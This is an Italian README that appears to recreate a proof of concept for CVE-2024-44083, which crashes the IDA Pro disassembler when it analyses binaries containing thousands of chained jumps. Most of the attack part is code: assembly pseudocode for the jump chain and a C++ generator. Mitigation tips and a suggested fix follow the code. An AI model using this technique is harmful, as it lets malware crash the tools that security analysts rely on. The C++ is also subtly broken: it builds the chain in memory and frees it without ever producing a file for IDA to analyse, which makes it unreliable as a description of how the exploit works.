
il mio poc per CVE-2024-44083.
i repo PoC originali sono stati eliminati (github.com/Azvanzed/CVE-2024-44083, github.com/Azvanzed/IdaMeme) quindi eccolo qui. ho pensato di ricrearlo per chiunque voglia capire come funziona o testare la propria configurazione.
IDA Pro ≤ 8.4 va in crash durante l'analisi di binari con catene di salti eccessive.
ida64.dll non limita quanto in profondità arriva quando segue le catene di salti. quindi se hai un binario con migliaia di salti collegati che terminano al punto di ingresso, IDA si suicida e basta.
| campo | valore |
|---|---|
| CVE | CVE-2024-44083 |
| versioni interessate | IDA Pro ≤ 8.4 |
| componente | ida64.dll |
| CWE | CWE-770 (esaurimento delle risorse) |
| impatto | crash (DoS) |
l'idea è semplice: crea una sezione piena di salti che continuano a saltare ad altri salti
; pseudocode obviously
section .text
; thousands of these
jump_0:
jmp jump_1
jump_1:
jmp jump_2
jump_2:
jmp jump_3
; ... keep going ...
jump_9999:
jmp payload
payload:
call _start ; this creates the cross-reference that breaks things
_start:
; IDA tries to resolve all the jumps pointing here
; boom crash
ret
IDA cerca di seguire e tracciare tutti questi salti creando riferimenti incrociati e quando sono abbastanza semplicemente si arrende e va in crash.
se volessi creare qualcosa del genere in C++ faresti qualcosa del tipo:
#include <windows.h>
#include <cstring>
// the idea is to generate a ton of jump instructions
// that chain together and eventually hit the entry point
void generate_jump_chain() {
// allocate executable memory for our jump chain
unsigned char* code = (unsigned char*)VirtualAlloc(
NULL,
10000 * 5 + 10, // 10,000 jumps × 5 bytes + some extra
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!code) return;
int offset = 0;
// create 10,000 chained jumps
for (int i = 0; i < 10000; i++) {
// write JMP rel32 instruction (E9 xx xx xx xx)
code[offset] = 0xE9; // JMP opcode
// calculate relative offset to next jump (5 bytes ahead)
int32_t rel = 5;
// copy the 4-byte relative offset
memcpy(&code[offset + 1], &rel, 4);
offset += 5;
}
// last jump creates circular reference
// jump back 5 bytes to create infinite loop
code[offset] = 0xE9;
int32_t rel = -5;
memcpy(&code[offset + 1], &rel, 4);
// you can also return a value to make it believeable
offset += 5;
code[offset] = 0xC3; // ret
// this is the pattern that crashes IDA:
// 10,000 jumps → self-referential jump → IDA gets stuck
// no depth limit in recursion → stack overflow → crash
// cleanup
VirtualFree(code, 0, MEM_RELEASE);
}
in pratica stai solo scrivendo un mucchio di istruzioni JMP concatenate. quando IDA cerca di fare l'intelligente analizzandole, finisce la stack/memoria.
se sei bloccato su una versione vecchia di IDA:
disattiva l'analisi automatica prima di aprire file loschi
limita l'analisi sulle sezioni sospette
cosa dovrebbe fare Hex-Rays:
// pseudocode
#define MAX_JUMP_DEPTH 1000
void analyze_jumps(address_t addr, int depth) {
if (depth > MAX_JUMP_DEPTH) {
warn("jump chain too deep. fail.");
return; // dont crash just stop
}
address_t target = get_jump_target(addr);
if (target) {
analyze_jumps(target, depth + 1);
}
}
praticamente basta aggiungere un limite di profondità, tutto qui.
solo per scopi educativi, non fare lo stronzo.